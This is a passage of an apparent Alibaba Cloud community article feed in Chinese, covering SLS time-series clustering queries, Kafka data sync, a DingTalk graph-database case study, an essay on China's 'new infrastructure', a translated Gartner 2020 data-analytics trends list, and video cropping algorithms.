      说了这么多,提的最多的可能就是“成本”和“收益”这两个词了,这也是业务最关心的问题。无论是计算资源还是系统架构,上一套 AI 架构的解决方案都是需要投入相当大的成本的,如果选择得当,在一个合适的场景下,AI 也是能带来相当不错的收益;但如果入不敷出,选择 AI 架构的解决方案就要慎重了。

      最后,技术人员储备和法律因素也是上AI架构前需要考量的问题,前阵子还发生了国家工信部约谈AI换脸应用企业的事件。

      AI 是一场浪潮,它不仅带来了新的技术和行业,也给了老系统焕发新生命活力的机会。作为技术人员,我们不仅要拥抱新技术带来的挑战,更要清楚其技术选型的主要因素和背后的风险,这样才能屹立浪潮之巅。那么,你是否需要 AI 架构的解决方案呢?

      image.png

      原文链接:https://yqh.aliyun.com/detail/14534

      ]]>
      SLS机器学习最佳实践:时序相似性分析 Fri, 02 May 2025 09:39:04 +0800 一、使用场景

      今天给大家介绍几个好用的时序相似性分析函数,具体涉及到的函数包含:时序的聚类,相似性计算等。主要解决的场景如下:

      • 当您有N台机器的监控指标数据时,想快速知道在某一段时间机器的CPU形态的大致呈现哪些形态,便于用户更好的了解当前系统的状态;
      • 当您指定某一台机器的某指标曲线时,您想知道哪些机器的相同指标与当前指定的曲线更加相似;
      • 当您人工输入一条时序曲线(网站整体的访问延迟曲线),您想知道是哪个服务的访问延时的变化规律同当前指定的曲线十分相似,便于缩小问题的排查;
        上述场景问题均可以归纳成,时序聚类(按照形态、按照数值),时序相似性判别这两个问题。

      二、函数介绍

      SLS平台提供了两个函数供大家使用,具体的文档地址可以参考下:https://help.aliyun.com/document_detail/93235.html

      ts_density_cluster
      ts_hierarchical_cluster

      其中第一个函数主要是针对曲线的形态进为标准进行聚类,其底层的核心聚类算法是DBSCAN密度聚类;第二个函数主要针对针对原始曲线的相似性进行聚类,更多的会考虑曲线之间的欧式距离等因素,其底层的核心聚类算法是层次聚类;具体的原理介绍可以参考之前的文章,大家也可以去网上查阅相关资料自行阅读。接下来主要给大家介绍下在SLS中该怎么使用这些函数。

      三、案例实战

      3.1 数据探索

      • query-01
      * | select DISTINCT index_name, machine, region from log
      • query-02
      * | select count(1) as num from (select DISTINCT index_name, machine, region from log)
      • query-03
      * and index_name : load | 
      select 
        __time__, 
        value, 
        concat(
          region, '#', machine, '#', index_name
        ) as ins 
      from log order by __time__ 
      limit 10000
      • query-04
      * 
      and index_name : load | 
      select 
        date_trunc('minute', __time__) as time, 
        region, 
        avg(value) as value 
      from log group by time, region order by time limit 1000

      通过query01我们可以得到对应的如下信息,这里表明我们我们当前的logstore中含有多少不同的曲线,每个曲线的标识是什么,为了更好的观察这1300多条线,我们可以使用流图来观察,一次性在一个图表中绘制出来对浏览器资源消耗也比较大,及时能绘制出来,也很难从这里得到有效的信息。我们使用query04来看下在少数曲线的情况下的可视化情况。在来对比下query03可视化的效果。
      image.png

      image.png

      image.png

      3.2 聚类实战

      通过上述的观察,我们能否将若干条曲线进行聚类呢,将较为相似的曲线划分到一类中,在进行可视化分析,进而打到降维分析的目的。使用如下SQL可以将N条线快速的聚类,在这里我们选择的指标是机器的负载(load)还是比较关注不同机器的水位的变化情况,因此我们可以选择ts_hierarchical_cluster这个函数,我们得到一张分面图,为了更加直观的可视化这个图表,您可以将其存储在Dashboard中更加直观。

      * 
      and index_name : load | 
      select 
        ts_hierarchical_cluster(time, value, ins) 
      from 
        (
          select 
            __time__ as time, 
            value, 
            concat(
              region, '#', machine, '#', index_name
            ) as ins 
          from 
            log
        )

      image.png

      3.2 相似性查找

      通过如下SQL,我们可以获得到跟 aysls-pub-cn-beijing-k8s#192.168.7.254:9100#load 这条指标曲线相似的机器的列表,并通过如下的流图进行可视化,观察我们的结果。在相似性函数中含有一些相似性判别的方法供大家选择:shape、manhattan、euclidean

      * 
      and index_name : load | 
      select 
        cast(
          cast(ts_value as double) as bigint
        ) as ts_value, 
        cast(ds_value as double) as ds_value, 
        name 
      from 
        (
          select 
            tt[1][1] as name, 
            tt[2] as ts, 
            tt[3] as ds 
          from 
            (
              select 
                ts_similar_instance(
                  time, value, ins, 'aysls-pub-cn-beijing-k8s#192.168.7.254:9100#load', 
                  10,
                  'euclidean'
                ) as res 
              from 
                (
                  select 
                    __time__ as time, 
                    value, 
                    concat(
                      region, '#', machine, '#', index_name
                    ) as ins 
                  from 
                    log
                )
            ), 
            unnest(res) as t(tt)
        ), 
        unnest(ts) as t(ts_value), 
        unnest(ds) as t(ds_value) 
      order by 
        ts_value 
      limit 
        10000

      image.png

      ]]>
      从Kafka实时同步数据到日志服务指南 Fri, 02 May 2025 09:39:04 +0800 背景

      Kafka 作为使用最广泛的消息队列之一,被非常普遍的应用于日志场景。通过机器上的采集客户端采集日志或者使用Producer直接写入,再供下游的数据处理系统如Spark,Flink等进行消费,是非常常见的大数据架构。

      阿里云日志服务底层存储是一个类似Kafka的数据系统,作为一个消息队列可以100%覆盖Kafka的功能。在此之上,作为阿里云上被广泛使用的日志分析产品,日志服务还提供了支持大规模数据集的实时查询分析能力,非常丰富的数据可视化报表,实时告警等功能。对于已经采集到Kafka中的数据,支持实时同步到日志服务中进行分析。

      111.png

      如何配置

      在开始之前需要先开通日志服务,并且创建好用于保存数据的Project 和Logstore。关于Project 和Logstore的介绍可以参考官方文档 :https://help.aliyun.com/document_detail/28961.html

      1 功能入口

      222.png

      2 选择Project与Logstore

      在开始同步之前,需要提前创建好用于存储数据的Project 和Logstore,如果需要对数据进行查询还需要提前对数据配置好索引。

      333.png

      3 输入Kafka 配置

      444.png

      4 调度方式

      日志服务通过Kafka 消费组流式消费数据,根据数据量自动水平扩展消费者个数。后台根据执行间隔定时调度同步任务,当同步任务从Kafka中超过5分钟没有消费到数据时当次任务结束,等待下一次调度。

      555.png

      查询日志

      日志从Kafka 同步到日志服务后,可以在控制台查询分析。

      666.png

      更多资料

      日志服务官方文档: https://help.aliyun.com/product/28958.html?spm=a2c4g.11186623.6.540.4af0bda9n7QANH
      日志服务查询语法简介:https://help.aliyun.com/document_detail/43772.html


      ]]>
      3亿人在用的钉钉背后,TA的作用功不可没 Fri, 02 May 2025 09:39:04 +0800 5-6-3.gif

      图数据库GDB的精彩详情

      在6月9日的“全速重构”2020阿里云·线上峰会中,阿里云智能数据库事业部的资深产品专家斗佛开启了全球首发4款云数据库新产品——云数据库专属集群、图数据库GDB、云数据库Cassandra版、云数据库ClickHouse。今天小编为大家带来图数据库GDB助力钉钉构建百亿量级知识图谱的案例。

      钉钉(DingTalk)是阿里巴巴集团专为中国企业打造的免费沟通和协同的多端平台,提供PC版,Web版和手机版,有考勤打卡、签到、审批、日志、公告、钉盘、钉邮等强大功能。钉钉因中国企业而生,帮助中国企业通过系统化的解决方案,全方位提升中国企业沟通和协同效率。

      借助阿里云图数据库GDB,钉钉可高效处理百亿量级人与人、人与企业、企业与企业间的复杂关联关系数据,并构建了工作场景下的知识图谱,具备深度关联关系的挖掘能力。在推荐加人,拉新促活等场景取得了良好效果。

      钉钉天然存在有人人、人企、企企间的复杂关系,形成庞大的用户、组织网络,使得基于网络的社区聚类、关系裂变传播等成为可能,进而用于大规模的拉新、用户促活、工作人脉沉淀等等。经过多年的建设,钉钉已经沉淀了各个数据域的数据资产,但仍存在如下问题:

      1)缺少统一的关系数据沉淀。例如需要查询一个人在多个组织下有多少个同事时,需要多次关联用户组织关系表才能获得。特别是在线推荐服务场景,需要做大量的关系扩散计算,分散的关系数据已经很难支撑起算法的进一步发展。因此需要构建一个统一的关系数据服务,提供离线和在线的数据查询及多度图扩散,而现有的传统关系型数据库已捉襟见肘。

      2)缺乏关系的深度认知和推断。目前钉钉的数仓建设主要围绕着客观数据,而在具体的业务场景中,往往需要对数据更深入地认知和推断。例如在推荐加人场景中,我们需要进行同企识别,推荐用户的潜在同事。

      钉钉团队经过多方调研论证,发现图数据库在处理海量关联关系数据方面具有查询效率高,模型直观,编程简便的独有优势,在知识图谱、社交推荐等领域有广泛应用,非常契合钉钉知识图谱应用场景。

      阿里云GDB是一款支持ACID事务,兼容Gremlin和Cyper两大主流查询语言,提供99.95%企业级高可用保障的全托管在线图数据库。并提供免费的专家服务,给客户提供建模指导和一对一的解决方案。
      234.png

      图数据库GDB支撑了钉钉百亿量级用户关系的存储和高效查询,为钉钉构建知识图谱,提供了深度关联关系的挖掘能力。在推荐加人、拉新促活等应用场景得到广泛应用:

      推荐加人。在钉钉上创建团队后,管理员需要从通讯录一个个选择,或者手动输入手机号码进行加入,加人效率低。如果能为用户推荐一些潜在同事,帮助其实现一键添加,那么用户组建团队就会更加方便。推荐加人属于职场社交推荐,我们基于DingTalk Graph实现了整个召回、排序链路。
      123.png
      (点击查看大图)

      拉新促活。邀请好友是App产品常用的一种拉新、促活方式。通过激励用户邀请好友、创建组织,可以为钉钉带来新用户、曝光度、留存率、活跃度,甚至形成裂变。我们基于DingTalk Graph构建了一个邀请能力模型(Invitation ability Model)来建模一个人在其工作社交网络中的邀请能力。

      通过阿里云图数据库GDB实现了百亿点边存储和ms级查询能力,针对图结构数据的存取特点,在图计算层和图存储层均进行了高度优化,满足钉钉百亿量级点边海量数据的多度关系毫秒级查询需求。服务的高可用,99.95%企业级SLA保障:GDB采用主备高可用架构,提供99.95%企业级SLA保障。

      当主节点故障时,系统自动切换,保障钉钉的业务连续性。易用和易运维,云服务全托管,提供备份恢复、自动升级、监控告警、实例升降配等丰富功能,大幅降低钉钉使用和维护图数据库的难度,使钉钉可以专注于应用本身的开发。

      如今,钉钉的注册用户数已突破3亿人,成长为中国领先的智能移动办公平台。而拉新促活功能为钉钉用户数增长起到了很好的促进作用,推荐加人功能使企业在创建团队钉群场景变得简单高效。面向未来,钉钉期望与阿里云图数据库GDB共创,构建千亿量级关系数据的高效处理能力,在智能推荐、社交网络等场景为用户提供更为丰富的功能。

      太阳伞免费领取活动已于今日18:00结束,我们将统一在下周三为满足活动要求的同学寄出,请同学们耐心等待哟~

      点击文字
      解锁图数据库GDB的更多精彩详情
      还有新用户首购9.9元包3月的限时优惠哦!
      图片.gif

      ]]>
      新基建风口下,为什么我们必须冷静思考 Fri, 02 May 2025 09:39:04 +0800 今年有个备考任务,加上近期工作有点忙,春节假期没结束就开始在家办公了。疫情期间一直坚持每天稳定输出1~2篇疫情防控专题信息,在政府和企业之间发挥上传下达的信息传递作用,发挥下应有的节点作用。所以近期没有及时收听晓夜校的课程。在群里看到大家畅聊新基建才又去补了补课。不然就真是躲在小楼成一统,两耳不闻窗外事了。

      听校长讲新基建,又上百度搜了一下,发现这个新基建其实已不是一个新概念,2018年的时候政策就已经有提出,之所以现在又引起大家的重视,是因为3月4号政治局会议高层提出要加强新基建进度,所以才又占据各大网页头条,吸引了大家的注意力。

      2018年年末的经济工作会议上明确提出:基建的重心不再是房地产,而是特高压、城际交通、物流、市政基础设施,以及5G、人工智能、工业互联网等新型基础设施建设。2月14日中央全面深化改革委员会第12次会议,指出要进一步打造集约高效,经济适用,智能绿色安全可靠的现代化基础设施体系。本月的政治局常务会又为新基建按下了快进键。可见国家对新基建的部署是循序渐进的。每年的工作报告倒是都看,说实话没有引起特别的重视,可能是身在此山中吧。

      一直以来,说起基建,大多数人的第一反应都是钢筋、水泥、房地产这些传统基建,而经济工作会议上提出的新型基础设施建设和以往的传统基建不一样,被称为“新基建”。新基建会带来什么?会是革命性的变化吗?校长已经讲了很多变革和未来它将带来的影响,受益匪浅,特别是对我们一些有着山洞思维和孤岛思维的企业,更是需要重塑网络,创造新的优势。然而,当我们在关心变化的时候,也许我们还可以试着从反面想想有什么会是不变的。

      01

      国家发展的趋势,城市化建设不会变

      不管是新基建还是老基建,着力点都是在城市建设和发展上。这些年我省的城市建设一直没有停下脚步,包括新基建的战略布局。近些年各地根据产业基础和周边产业情况,积极引进项目布局电子信息相关产业,初步形成了“一核两带多点”的产业发展格局。一核是郑州核心发展区,两带是以鹤壁,新乡,许昌,信阳等为主要节点的京广线产业带,和以三门峡、洛阳、商丘为主要节点的陇海线产业带,多点是围绕智能终端,智能传感器,光电子,电子材料,锂电子电池等产业,形成了多个特色产业园区。去年还引进了华为的笔记本电脑生产项目,打造鲲鹏计算产业链和生态链。2019年全省规模以上电子信息制造业增加值增速11.4%,从营收规模上看,在全国位列第8,这些都是城市建设的新基建。

      物流上我们有一定的地域优势和设施基础。但是现在货运物流我们还存在有短板。我们国家整体物流成本比较高,占GDP的15%多,在全球算是最高的,美国和欧洲的物流成本占GDP只有7%,咱比人家高一倍,原因是我们铁路用的太少。我们国家货运总量,铁路只占5~6%,公路占80%多,然后轮船、航运、内河水运加起来10%多。我们有着强大的铁路网络,是重要的铁路枢纽,但货运的铁路利用率却相当低,还不如美国几十年前建设的铁路货运率高。水运也没有完全利用起来。铁路的运输成本是公路的1/5,而水运是铁路的1/4,这些都没有好好利用。空运成本最高,是针对高附加值产品的。再一个我们缺少大型的物流企业,综合类的物流企业少,包括冷链物流、专业物流更少。所以我们现在正在着力培育物资集团,打造一个综合的物流企业。

      02

      传统制造业不会被淘汰,但转型升级的发展方向不会变

      传统产业不等于落后产业,新基建、新产业,战略性产业也不等于都先进。卢森堡这样一个以金融服务著称的小国家,还保留着千万吨的钢铁生产能力。光伏、多晶硅是新能源、新材料,包括新能源汽车,发展多了也会是过剩产能。要构成产业链,形成产业生态集群,必须有差异化的生产链条。转型升级、高端化是发展趋势和要求。

      河南的产业门类还是相对比较齐全的。以汽车为例,全省现在汽车整车企业超过14家,改装车突破100家,摩托车企将近30家。去年全省汽车工业增加值增速为6.9%,占工业比重的5%,汽车整车产销超过76万辆,处于行业发展平均水平。宇通在国内市场占有率达35%,全球市场占有率连续8年保持第一。有整机就一定要有相应的配件。如果配件低端将不足以满足产品的高端化,这些年我省正在建设汽车配件体系,转向器,减震器,传动轴、水泵,气缸套、凸轮轴、线束、动力电池等10多种零部件产品聚集明显,产量位居全国前列,并成为众多跨国公司的供应商。政府的作用就是组织企业形成产业集群,形成产业链,形成产业的优势。

      工业革命发展到现在,由1.0的机械化,蒸汽机,到2.0的电力化,发明了电,到3.0的标准化、批量化,有了计算机,现在到了4.0时代的智能化,前三化都是提高效率的,都是降低成本,满足供应大批量生产流水线作业。三次工业革命把人类社会的生产力发展到了一个高阶段。中间还伴随着交通革命,有了汽车,火车,有了高速、飞机、宇宙航空。伴随着通讯革命,都使提高效率的速度越来越快,通信能力越来越强。我们的郑州跨境电子商务受到过总书记和总理的表扬,这其中有三大技术性能,一秒数据收集一秒结算一秒通关,这些都是靠网络的,减少交易成本。

      郑州的网络干线,总带宽达到730G(18年的数据),是国家骨干互联网直联点,在全国13个国家级互联网骨干直联点中位居第二,这是互联网的枢纽干线,第2个层次的基础设施才是我们讲的大数据、云计算、移动互联网。这些都极大增强了郑州信息通信枢纽地位和信息集散能力。

      智能化的变革,是能既保留大批量流水线作业的高效率、低成本,又能满足了人们多种需要的个性化。这是它有别于前三次工业革命的核心。但智能化发展一定是建立在工业自动化基础之上的,没有传统产业做支撑,智能化也会成为新吹的泡沫。就像美国股市的崩盘,我不大了解股市,但从美国制造业转移、产业空心化就能想像的出,一个不创造实际价值的产业体系,或者说实体产业创造价值的速度不及金融催生债务资产的速度,崩盘应该也是早晚的事。

      03

      固本培元、强身健体的思路不能变

      如果说新基建建设中的5G、物流、网络,这些集约高效、经济适用、智能绿色、安全可靠的现代化基础设施体系是硬件,是“算力”的基础,是为企业强身健体提供了一个高效安全、可选择性强的健身环境。那么区块链、云计算、人工智能则是从“算法”角度,给了企业一个固本培元、华丽转身的高超技能。各地在新基建上的投资规模据说已经高达30多万亿,这样的大手笔不是一次性漫灌式的,而是一个长远重效的投入。一定意义上是在这个疫情寒冬中,为中国经济恢复吹起的一缕春风,更是对未来发展未雨绸缪铺下的一条路。

      企业当下最清醒的战略,最重要的战略就是在寒冬中要活下来,苦撑不下牌桌,看清大势,学习在市场中寻找机遇。我们一国企原本是生产汽车帘子布的,疫情发生后,口罩短缺,主要是原材料熔喷布价格暴涨,从2万涨到40-50万每吨。企业发现商机,果断上马生产线,政府也很支持,极速审批,3月初部分产品已送相关企业使用检验,预计很快投放市场。

      我们要做的,应该也是在大势中寻找自己的战略重心,及时有效调整动作,无中生有,立于不败。

      另,武汉的问题,我觉着他们最缺一场深刻的反思,总结经验教训,为什么疫情会发生在武汉,为什么它蔓延的速度会如此之快,在疫情发生后组织效率上存在的问题,以及后期在处理问题过程中总结出的好经验,可以写本书,就叫《失控的城市》。

      再者,武汉民生与经济发展缺少的是资金,这是实实在在的,国家应该出台此定向政策,减免税和扶持资金方面,要普惠政策力度再大些,这个我们力所不能及,但党员捐款里有我一份心意的,哈。

                                晓夜校.水木悠寻
      ]]>
      AI概述:阿里文娱智能算法的新应用 Fri, 02 May 2025 09:39:04 +0800 作者| 阿里文娱资深算法专家 胡尧

      **一、文娱消费新体验-Free Viewpoint Video
      **

      001.jpg
      面向文娱消费新体验,文娱算法团队基于整体的视频生产、播放、交互式体验等环节做了非常多的技术探索,在视频子弹时间的基础上进一步延展,延伸成更加经济通用的Free Viewpoint Video技术,构建完善的现场-云-边-端的技术链路。

      今年优酷与CBA达成全方位的合作,在新赛季首次落地互动FVV体验,变革传统体育赛事的观看体验。我们还主导建设FVV视频技术国家标准,同时承担了国家“科技冬奥”“冰雪项目交互式多维度观赛体验技术与系统”项目,让更多普通用户享受到新一代观看体验。

      二、视频消费商业化新模式-创意广告

      在视频消费商业化新模式上,重点在创意广告领域,打造动效酷炫、更原生、可互动的广告形态,通过规模化实现中长尾内容的变现。

      具体是构建了综合的三维环境感知和理解算法,在多场景多模态的视频内容理解、云端结合的CG 渲染引擎等领域都有深度探索,并且构建云端结合的c c级渲染引擎,实现AI两大平台(视频打点平台、视频特效生产平台)、一个中心的战略(创意广告制作中心)。

      **
      三、视频创作新平台-基础素材自动化生产与检索**
      002.jpg

      在视频理解领域的另一个重要应用,就是搭建了视频创作新平台。

      首先,我们实现了基础素材的自动化生产与搜索,将传统的静态人物动作和场景实现升级到shot 级别,支持动态素材的检测与识别。

      同时,实现精细化抠图,包括对动态人物和物体场景的提取,使这些素材可以被创作者更快速的应用到新的创作环境中。通过交互式的精细化分割算法,动态地将经典视频中的素材提取出来,实现简易化绿幕的效果。

      当大量的素材被生产出来,我们同时提供基于准素材级别的智能化检索系统,用户只需要通过语义的文本或语音输入,就能实现对整个素材库的检索。例如用户搜索“吴倩拥抱”,系统就会呈现出整个《冰糖炖雪梨》中有吴倩拥抱的场景。

      **
      四、视频创作新平台-封面图自动化生产**

      003.png
      另外,我们实现了封面图自动化生产。基于主要人物、场景、美学评级、元素多样性等方面生成不同维度的封面图,并提供智能裁剪服务,满足16:9、4:3或者3:4等各种场景需求。同时在某些场景中实现动图的自动化生产,即实现千人千面的内容+素材的统一个性化推荐,助力运营分发的提效。

      五、视频创作新平台-模板式视频半自动化生产

      鉴于优酷有海量的IP版权内容,我们研发了一系列的剪辑合成技术,自动对视频的故事线、内容模板进行提取,并在此基础上在海量视频中进行智能化的二次创作,实现如节目卡点剪辑、Video Highlight & Summary技术生成的前情提要等产品。同时具备视频的形态转换技术,将横版的视频通过AI算法,识别显著性主体区域并进行美学评判,实现竖版视频的自动化生产。

      这些技术能够有效的为商业化提供更多素材,同时为B端提供更多能力。
      004.jpg

      在这个基础上,我们才能实现基于元素级的视频深度理解技术,我们将传统的基于用户行为的内容分发体系和基于视频内容理解的视频内容分发体系进行了有效结合,实现了群体智慧和计算机视觉在美学和AI上的融合,实现了从整个封面图内容的原数据分析,到整个用户行为偏好的判断,实现千人千面的内容加素材的个性化推荐,有效提升整个业务场的分发效率。

      ]]>
      Gartner 2020的十大数据分析趋势 Fri, 02 May 2025 09:39:04 +0800 前言:更多关于数智化转型、数据中台内容可扫码加群一起探讨
      668d7f5941782665ed1f41529db3eb677f4b9379.png
      阿里云数据中台官网 https://dp.alibaba.com/index


      来源:搜狐新闻

      image.png
      这些数据和分析技术趋势将在未来三到五年内帮助加速更新,促进创新和重建社会。 数据和分析领导者必须研究如何利用这些趋势,并进行"必备"投资,以实现重置后的恢复和重新发明。

      趋势1:更智能,更快,更负责任的AI

      到2024年底,将有75%的企业从人工智能试点转向运营,流数据和分析基础架构的规模将增加五倍。

      在当前盛行的环境中,诸如机器学习,优化和自然语言处理之类的人工智能技术正在为病毒传播以及对策的有效性和影响提供重要的见识和预测。

      其他更智能的AI技术,例如强化学习和分布式学习,正在创建更具适应性和灵活性的系统来处理复杂的业务。 例如,基于代理的系统可以对复杂的系统进行建模和升级。

      追究AI责任和模型透明度对于防止错误决策至关重要

      在新芯片架构(例如可以部署在边缘设备上的神经形态硬件)上的大量投资正在加速AI,ML计算和工作负载,并减少对高带宽集中式系统的依赖。 最终,这可能会导致具有更高业务影响的更灵活的AI解决方案。

      让AI负责并保持模型透明对于防止错误决策至关重要。 它将促进更好的人机协作和信任,以便整个组织可以更好地采用和调整决策。

      趋势二:仪表盘使用的下降

      具有更自动化和消费者体验的动态数据应用程序将取代可视化,点击创建和探索。 结果,用户将减少使用预定义仪表板的时间。 转向上下文数据应用程序意味着最相关的见解将基于上下文,角色或目的传递给每个用户。 这些动态洞察力利用诸如增强分析,NLP,流量异常检测和协作之类的技术。

      数据和分析主管需要定期评估他们现有的分析和商业智能(BI)工具。 初创公司提供预定义的仪表板以外的新增强功能和NLP驱动的用户体验。

      趋势3:明智的决策

      到2023年,超过30%的大型组织将使分析师从事智能决策,包括决策建模。 决策智能集成了多个学科,包括决策管理和决策支持。 它包含了复杂自适应系统领域中的应用程序,将各种传统和高级学科结合在一起。

      它提供了一个框架,可帮助数据和分析领导者设计,建模,匹配,执行,监视和优化业务结果与行为之间关系中的决策模型和流程。

      当决策需要各种逻辑和数学时,有必要进行自动化,或者至少进行记录和审计,以探索决策管理和建模技术的使用。

      趋势4:X分析

      Gartner创造了术语" X分析",其中X是具有不同结构化和非结构化内容(例如,文本分析,视频分析,音频分析等)的一系列数据变量。

      数据和分析负责人使用X分析来解决社会上最困难的挑战,包括气候变化,疾病预防和野生动植物保护。

      在疫情爆发期间,人工智能在整理大量研究论文,新闻来源,社交媒体帖子和临床试验数据方面发挥了关键作用,并帮助医学和公共卫生专家预测疾病的传播,规划能力,寻找新疗法, 并找出弱点群体。 X分析与AI和其他技术(例如图表分析)(另一个热门趋势)相结合,将在识别,预测和计划未来的自然灾害和其他危机中发挥关键作用。

      数据和分析主管应探索现有供应商提供的X分析功能,例如用于图像,视频和语音分析的云计算供应商,但也应认识到创新很可能来自小型初创公司和云计算供应商。

      趋势5:增强的数据管理:元数据是"新的黑马"

      增强的数据管理使用ML和AI技术来优化和改善操作。 还将用于审核,继承和报告的元数据转换为支持动态系统的元数据。

      增强型数据管理产品可以检查大量操作数据样本,包括实际查询,性能数据和模式。 使用现有情况和工作负载数据,增强的引擎可以优化操作,配置,安全性和性能。

      数据和分析主管应寻求增强的数据管理,支持活动元数据以简化和集成其体系结构,并提高冗余数据管理任务的自动化程度。

      趋势六:云是礼物

      到2022年,公共云服务将在90%的数据和分析创新中扮演关键角色。

      随着数据和分析迁移到云中,数据和分析领导者仍在努力使正确的服务与用例保持一致,这将导致不必要的治理和集成开销。

      数据和分析问题已经从给定服务的成本转向如何满足工作负载的性能要求,而不仅仅是价格表。

      数据和分析领导者需要优先考虑可以利用云计算功能的工作负载,并在迁移到云计算时专注于成本优化。

      趋势7:数据与分析之间的冲突

      传统上,数据和分析功能被认为是单独的实体,并且需要单独管理。 通过增强的分析提供端到端工作流的供应商模糊了这两个市场之间的区别。

      数据和分析的这种冲突将增加独立数据和分析角色之间的交互和协作。 这不仅会影响提供的技术和功能,还会影响支持和使用它们的人员和流程。 角色范围将从IT中的传统数据和分析角色扩展到信息浏览器,消费者和公民开发人员。

      为了将冲突转化为建设性的整合,可以将数据和分析工具及功能合并到分析堆栈中。 除工具外,还应关注人员和流程以促进沟通和协作。 使用数据并分析生态系统和增强方法有可能提供一致的堆栈。

      趋势八:数据市场和数据交换

      到2022年,将有35%的大型机构通过正式的在线数据市场成为数据的卖方或买方,而2020年为25%。

      数据市场和交易所提供了一个集成第三方数据产品的平台。 这些市场和交易中心提供集中的可用性和访问权限(例如X分析和其他独特的数据集),从而形成规模经济,可以降低第三方数据的成本。

      为了通过数据市场货币化数据资产,数据和分析的领导者应通过定义生态系统合作伙伴可以依赖的数据治理原则,建立一种公平透明的方法。

      趋势9:数据分析中的区块链

      区块链技术解决了数据和分析中的两个挑战。 首先,区块链提供资产和交易的完整继承。 其次,区块链为复杂的参与者网络提供了透明度。

      除了比特币和智能合约的有限示例外,分类数据库管理系统(DBMS)将为审计单个公司的数据源提供更有吸引力的选择。 Gartner估计,到2021年,保密的DBMS产品将取代目前使用的大多数区块链。

      数据和分析应通过强调数据管理基础架构与区块链技术功能之间的不匹配,将区块链技术定位为对现有数据管理基础架构的补充。

      趋势十:从数据分析基础与价值之间的关系

      到2023年,图像技术将促进全球30%的组织快速进行情境决策。 图像分析是一组分析技术,可用于探索相关实体(例如组织,人员和事务)之间的关系。

      它可以帮助数据和分析领导者发现数据中的未知关系,并查看传统分析中难以分析的数据。

      例如,当世界对当前和未来的疫情做出反应时,图像技术可以分析来自人们手机上的地理空间数据的照片,以面对人脸识别系统,以确定谁可能联系了被冠状病毒检测呈阳性的人。

      考虑研究图形算法和技术如何改善AI和ML计划

      与ML算法结合使用时,这些技术可用于梳理成千上万的数据源和文档,从而帮助医学和公共卫生专家快速发现可能对某些患者产生更多负面影响的新疗法或新因素。

      数据和分析主管需要评估将图形分析集成到分析产品组合和应用程序中的机会,以发现隐藏的模式和关系。 此外,请考虑图形算法和技术如何改善AI和ML计划。

      (本文翻译自Sajjad Hussain的文章《Top 10 data analysis trends for Gartner 2020》,参考:
      https://medium.com/dataseries/top-10-data-analysis-trends-for-gartner-2020-c683a74e99a2)


      数据中台是企业数智化的新基建,阿里巴巴认为数据中台是集方法论、工具、组织于一体的,“快”、“准”、“全”、“统”、“通”的智能大数据体系。目前正通过阿里云数据中台解决方案对外输出,包括零售金融互联网政务等领域,其中核心产品有:

      官方站点:
      数据中台官网 https://dp.alibaba.com
      数据中台钉钉群二维码2.jpg


      ]]>
      用竖屏看热剧!阿里文娱视频横转竖技术实践 Fri, 02 May 2025 09:39:04 +0800 作者:阿里文娱算法专家 闵公

      常见的机器视觉问题,诸如目标检测、主体标定、目标追踪、视频增强等作为独立技术问题来求解,是不是有些枯燥?在文娱产业中,如何将这些视觉技术进行创新和组合形成完整技术栈,对海量横屏播放的影视剧和短视频自动转换成竖版播放的视频?
      且看阿里文娱摩酷实验室的算法专家闵公在GMIC Live 2020智慧文娱技术专场中的分享,主要介绍如何“基于机器视觉算法自动化”将海量横版长剧集转换竖版视频,包括横版视频的主体自动选择算法,镜头平滑能力等,希望对大家在视觉算法如何运用在文娱行业中有所启发。

      核心技术内容包括:
      1) 视频横转竖技术链路搭建
      2) 复杂环境下主体自动标定模型
      3) shot镜头平滑和标定追踪交互机制
      4) 视频裁剪导致降质条件下的画面恢复

      一、横屏转竖屏的视频裁剪的行业需求

      首先,站在海量内容消费者的角度来看,90%以上的视频内容消费者会选择单手竖持手机,同时也有50%以上的用户会选择将屏幕进行竖向的锁定浏览。同时视频内容消费者倾向于将视觉聚焦在焦点主体内容,而不是背景上。
      image.png

      其次,站在内容生产侧,大剧制作有95%以上是横屏拍摄,站在PGC短内容的制作上,像优酷全娱乐、体育等,多是以横屏内容制作为主。如果通过人工将横版拍摄的视频进行剪辑转竖,效率低,效果不可控。

      二.横屏转竖屏的产品落地化进程

      优酷人工智能平台推出自研的视频自动化的横屏转竖屏技术,应用于视频二次生产和智能封面图生成业务中,目前该技术已经覆盖优酷的OGC剪辑,海量UPGC竖版短小视频生产,智能封面图生产,同时输出给阿里云,服务于文娱企业客户。
      image.png

      三.横屏转竖屏的视频技术链路

      智能裁剪技术主要应用于以多人或者单人为主体的影视剧场景,我们将目标检测,跟踪,识别等技术进行创新和结合,开发了完整的视频智能裁剪技术链路,面对实际业务中的主体标定,视频帧间抖动,视频黑边填充等问题针对性的研发了算法解决方案,可以根据不同的业务场景将各算法可插拔的配置进主裁剪pipeline中,阿里文娱视频智能裁剪技术的研发给内容行业的素材自动化制作,剪辑作品的视觉效果和制作成本降低等方面都带来了大幅度的提升。

      在视频智能裁剪技术链路中,我们研发了前处理模块(包含镜头切分, 画面尺寸判定,黑边检测裁剪等),主体选择模块,主体追踪模块和后处理模块(包含画质增强,字幕/logo检测,画面内容修补等),下面分别介绍四个模块。
      image.png

      四.视频裁剪核心研发模块

      一)前处理模块:
      前处理模块包括分镜边界检测模型,画面尺寸判定算法,黑边检测与剪裁算法等三个模块,其中分镜边界检测模型根据视频画面将视频分成多个镜头片段,针对渐变过渡的镜头,采用视频帧的表征向量逐帧计算相似度进行精细切分;
      image.png

      画面尺寸判定算法使得裁剪可以在不同的画面尺寸中进行自动选择,包括(宽:高)16:9, 4:3, 1:1, 3:4, 9:16等任意尺寸,通过对视频帧进行抽样后根据目标的显著性和运动特性计算得出显著区域的大小进行剪裁尺寸适配;
      由于大量upgc横版和竖版视频存在上下黑边填充现象,但上下黑边在自动裁剪后会严重影响用户体验。因此我们使用霍夫变换和直线分类来解决黑边检测与剪裁的问题,并且根据剪裁后的不同尺寸自适应的选择三层重叠样式或者1:1加包框样式进行视频再生产;
      image.png

      二)主体标定模块
      我们根据人工标注的影剧综主体GT数据,设计了主体自动选择模型对视频帧中的主体进行自动标定。主体自动选择模型将视频中的人脸,人体bbox,显著性区域,图像清晰度等候选区域进行roi align对齐后,通过深度卷积网络进行最佳主体选择模型的训练,通过和显著性模型以及注视预测模型进行max-IOU指标对比,我们提出的主体自动选择模型表现SOTA。
      image.png

